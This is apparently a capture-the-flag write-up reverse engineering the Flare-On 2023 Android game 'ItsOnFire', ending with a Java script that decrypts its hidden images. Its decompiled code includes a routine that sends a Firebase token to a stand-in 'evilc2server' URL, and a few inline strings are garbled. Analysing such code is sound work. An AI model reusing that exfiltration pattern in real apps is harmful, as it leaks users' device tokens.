> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/capture-the-flag-ctf/writeups/2023/itsonfire-flare-on-2023.md).
# ItsOnFire @Flare-On 2023
## TL;DR
This is the 2nd challenge of Flare-On's 10th edition. On the surface it's an Android Shoot'em Up type of game that actually encrypts an image containing the flag.
## Description
`reverse` `easy`
{% hint style="success" %}
The FLARE team is now enthusiastic about Google products and services but we suspect there is more to this Android game than meets the eye.
{% endhint %}
You can download the challenge from this archive.
{% file src="/files/v2KvEPFSanKexQNKWIeW" %}
## Solution
The challenge folder contains an APK (Android Package) file. The app can be launched on Windows using Android Studio (among others). It's a Shoot'em up type of game in which the player has to destroy waves of "malware".
ItsOnFire game
Playing the game at first glance nothing special seems to happen when a wave is completed or when the player dies. Let's dive into the file to find the interesting stuff. You can decompile it using jadx (a tool to produce Java source code from APK files).
Now that we have access to the source code let's start by looking at the strings. They are located in `Resources/resources.arsc/res/values/strings.xml`. Basically, whenever the app needs to use a string, it uses an ID that references a string in this file. Looking at this file the first thing to notice are the many odd strings for a video game:
* a Youtube URL (Loverboy - Working for the Weekend)
* a Twitter URL (an account posting every friday about the weekend)
* a URL for what seems to be a C2 server ("`my_custom_key`)
* symmetric encryption related strings ("AES/CBC/PKCS5Padding")
The most suspicious is the C2 server. A C2 (command & control) server is a hacker-controlled computer that directs compromised devices, enabling cybercriminals to carry out attacks and steal data. The string is used in 2 functions:
* com.secure.itsonfire.MessageWorker.**onNewToken(String)**
* p011f.C1186b.**m2238d(Context)**
C2 string search
Let's dig into their code to see how the string is used.
The `onNewToken` function takes a token as argument, concatenates it to the c2 URL and makes a request using the `PostByWeb` class. Notice how this method overrides the `onNewToken` method from `FirebaseMessagingService`. When the FCM token is refreshed or generated, this method will be called, allowing the app to handle the new token.
```java
// com.secure.itsonfire.MessageWorker.onNewToken
@Override // com.google.firebase.messaging.FirebaseMessagingService
public void onNewToken(@NotNull String token) {
Intrinsics.checkNotNullParameter(token, "token");
Log.i("FCM Token Created", token);
ExecutorService newSingleThreadExecutor = Executors.newSingleThreadExecutor();
String str = getString(R.string.c2) + token;
Intrinsics.checkNotNullExpressionValue(str,
"StringBuilder().apply(builderAction).toString()");
newSingleThreadExecutor.submit(new PostByWeb(str));
}
```
A `PostByWeb` object calls its `request()` method that makes a GET request to the passed URL.
```java
// com.secure.itsonfire.MessageWorker.onNewToken
public PostByWeb(@Nullable String str) {
try {
this.mUrl = new URL(str);
} catch (MalformedURLException e) {
e.printStackTrace();
}
request();
}
private final void request() {
[...]
HttpURLConnection httpURLConnection = (HttpURLConnection) openConnection;
httpURLConnection.setConnectTimeout(9000);
httpURLConnection.setDoInput(true);
httpURLConnection.setRequestMethod("GET");
httpURLConnection.connect();
[...]
}
```
A request to the URL without token leads to a 404 error. At first I thought about intercepting the request with Wireshark to get the full URL but then I realized that it is printed to the logs in `onNewToken`. Simply checking those in Android Studio should be enough to retrieve it. However, I couldn't find anything about the token in the logs nor Wireshark.
I found out earlier that the c2 string is used in 2 functions. Let's take a look at the second one. I removed some lines checking for NULL values and replaced the strings accesses with the actual strings to make it easier to read.
```java
// p011f.C1186b.m2238d
private final String m2238d(Context context) {
String slice;
String string = "https://flare-on.com/evilc2server/report_token
/report_token.php?token=";
String string2 = "wednesday";
StringBuilder sb = new StringBuilder();
sb.append(string.subSequence(4, 10));
sb.append(string2.subSequence(2, 5));
String sb2 = sb.toString();
byte[] bytes = sb2.getBytes(Charsets.UTF_8);
long m2241a = m2241a(bytes);
StringBuilder sb3 = new StringBuilder();
sb3.append(m2241a);
sb3.append(m2241a);
String sb4 = sb3.toString();
slice = StringsKt___StringsKt.slice(sb4, new IntRange(0, 15));
return slice;
}
```
It starts by grabbing 2 strings from the `strings.xml` file:
* `string.c2`: "`string.w1`: "wednesday"
It then slices them, converts them to bytes and calls a function `m2241a` before slicing this returned value. Basically it takes some strings and returns a new one made by slicing and concatenating its inputs. Let's rename it `sliceStrings`.
The code of the function being called is the following:
```java
// p011f.C1186b.m2241a
private final long m2241a(byte[] bArr) {
CRC32 crc32 = new CRC32();
crc32.update(bArr);
return crc32.getValue();
}
```
It simply returns a CRC32 (Cyclic Redundancy Checksum) of its input. Let's rename it `generateCRC32`.
By checking the cross references we can see that `sliceStrings` is called in a function `m2239c`.
sliceStrings cross references
```java
// p011f.C1186b.m2239c
private final File m2239c(int i, Context context) {
Resources resources = context.getResources();
byte[] m2237e = m2237e(resources, i);
String sliceStrings = sliceStrings(context);
Charset charset = Charsets.UTF_8;
byte[] bytes = sliceStrings.getBytes(charset);
SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, "AES");
String string = "AES/CBC/PKCS5Padding";
String string2 = "abcdefghijklmnop";
byte[] bytes2 = string2.getBytes(charset);
byte[] m2240b = m2240b(string,
m2237e,
secretKeySpec,
new IvParameterSpec(bytes2));
File file = new File(context.getCacheDir(), "playerscore.png");
FilesKt__FileReadWriteKt.writeBytes(file, m2240b);
return file;
}
```
This function does the following:
* it creates an array of bytes with another function `m2237e`
* it calls `sliceStrings` and converts its return value to bytes
* it creates a symmetric key for AES using the bytes from `sliceStrings`
It seems that our `sliceStrings` function is actually used to generate a key for symmetric encryption. Let's rename it `generateKey`.
After that the function does the following:
* it uses a string to define which encryption is going to be used: AES with CBC (Cipher Block Chaining) and PKCS5 padding
* it converts another string to bytes
* it calls another function `m2240b` and writes the ouput in a file name "playerscore.png" in the cache directory
Overall this function does 3 things:
* generate a key
* encrypt a file
* write the output in another file
Let's rename it `saveEncryptedFile` and take a look at the actual function used to encrypt the file: `m2240b`.
```java
// p011f.C1186b.m2240b
private final byte[] m2240b(String str, byte[] bArr, SecretKeySpec secretKeySpec,
IvParameterSpec ivParameterSpec)
{
Cipher cipher = Cipher.getInstance(str);
cipher.init(2, secretKeySpec, ivParameterSpec);
byte[] doFinal = cipher.doFinal(bArr);
return doFinal;
}
```
It takes as arguments:
* a string to define the encryption/decryption: "AES/CBC/PKCS5Padding"
* an array of bytes (the file to encrypt/decrypt)
* a key (`SecretKeySpec` class)
* an initialisation vector (`ivParameterSpec` class) used to encrypt/decrypt the first block in CBC mode
Then it simply initialize a `Cipher` object and encrypts/decrypts the file. Let's rename this function `cipher`.
The only function we have not checked yet is the one used at the beginning of `saveEncryptedFile` to get the bytes from the file: `m2237e`. I removed a lot of exceptions handling to make it easier to read.
```java
// p011f.C1186b.m2237e
private final byte[] m2237e(Resources e, int i) {
Throwable th;
InputStream inputStream;
try {
try {
inputStream = e.openRawResource(i);
[...]
try {
byte[] bArr = new byte[inputStream.available()];
inputStream.read(bArr);
[...]
return bArr;
[...]
} catch (Throwable th3) {
th = th3;
Intrinsics.checkNotNull(e);
e.close();
throw th;
}
}
```
It opens a file of index `i` (second argument) and reads it. Let's rename it `readBytesFromFile` and figure out which file is being encrypted by looking at cross references to `saveEncryptedFile`. Following cross references leads to this function where `i2` is the index transmitted to `savedEncryptedFile`.
```java
// p011f.C1186b.m2235a
public final PendingIntent m2235a(@NotNull Context context, @NotNull String param) {
String string;
int i;
C1186b c1186b;
int i2;
[...]
if (!Intrinsics.areEqual(param, "monday")) {
if (Intrinsics.areEqual(param, "tuesday")) {
c1186b = C1186b.f524a;
i2 = "ps.png";
} else if (Intrinsics.areEqual(param, "wednesday")) {
c1186b = C1186b.f524a;
i2 = "iv.png";
}
[...]
return PendingIntent.getActivity(context,
100,
c1186b.m2236f(context, i2),
201326592);
}
[...]
}
```
Depending on the value of `param` it will either encrypt `ps.png` or `iv.png`. Both files or located in `Resources/res/raw`.
Now that we understand what's happening here we can write some Java code to decrypt both files. The code used kotlin libraries and I did not so I rewrote 2 functions to read/write bytes from/to a file using standard Java librairies.
```java
import java.nio.charset.StandardCharsets;
import java.util.zip.CRC32;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.IvParameterSpec;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.IllegalBlockSizeException;
import java.security.InvalidKeyException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.BadPaddingException;
import java.security.InvalidAlgorithmParameterException;
public class Main {
public static void main(String args[]) {
File file = saveEncryptedFile("resources/res/raw/iv.png");
}
static private final long generateCRC32(byte[] bArr) {
CRC32 crc32 = new CRC32();
crc32.update(bArr);
return crc32.getValue();
}
static private final String generateKey() {
String slice;
String string = "https://flare-on.com/evilc2server/report_token
/report_token.php?token=";
String string2 = "wednesday";
// slice strings from res/values/strings.xml
StringBuilder sb = new StringBuilder();
sb.append(string.subSequence(4, 10));
sb.append(string2.subSequence(2, 5));
String sb2 = sb.toString();
byte[] bytes = sb2.getBytes(StandardCharsets.UTF_8);
long crc32 = generateCRC32(bytes);
StringBuilder sb3 = new StringBuilder();
sb3.append(crc32);
sb3.append(crc32);
String sb4 = sb3.toString();
int startIndex = 0;
int endIndex = 15;
slice = sb4.subSequence(startIndex, endIndex + 1).toString();
return slice;
}
static private final File saveEncryptedFile(String path) {
// get data from file "resources\res\raw\iv.png"
byte[] data = readRawFile(path);
// generate key
String key = generateKey();
byte[] bytes = key.getBytes(StandardCharsets.UTF_8);
SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, "AES");
// encryption used
String string = "AES/CBC/PKCS5Padding";
// initialisation vector
String string2 = "abcdefghijklmnop";
byte[] bytes2 = string2.getBytes(StandardCharsets.UTF_8);
// encrypt data and store in playerscore.png
byte[] encryptedData = cipher(string,
data,
secretKeySpec,
new IvParameterSpec(bytes2));
File file = new File("playerscore.png");
writeBytesToFile(file, encryptedData);
return file;
}
static private final byte[] readRawFile(String filePath) {
// read bytes from a file
try (InputStream inputStream = new FileInputStream(filePath)) {
byte[] bArr = new byte[inputStream.available()];
inputStream.read(bArr);
return bArr;
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
static public void writeBytesToFile(File file, byte[] data) {
// write data to file
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(data);
System.out.println("Data has been written to the file: "
+ file.getAbsolutePath());
} catch (IOException e) {
e.printStackTrace();
System.err.println("Error writing data to the file: "
+ file.getAbsolutePath());
}
}
static private final byte[] cipher(String str, byte[] bArr,
SecretKeySpec secretKeySpec,
IvParameterSpec ivParameterSpec)
{
try {
// init cipher objet with encryption method and parameters
Cipher cipher = Cipher.getInstance(str);
cipher.init(2, secretKeySpec, ivParameterSpec);
// encrypt or decrypt data
byte[] doFinal = cipher.doFinal(bArr);
return doFinal;
}
catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
catch (InvalidKeyException e) {
e.printStackTrace();
}
catch (IllegalBlockSizeException e) {
e.printStackTrace();
}
catch (NoSuchPaddingException e) {
e.printStackTrace();
}
catch (InvalidAlgorithmParameterException e) {
e.printStackTrace();
}
catch (BadPaddingException e) {
e.printStackTrace();
}
return null;
}
}
```
We get the following files.
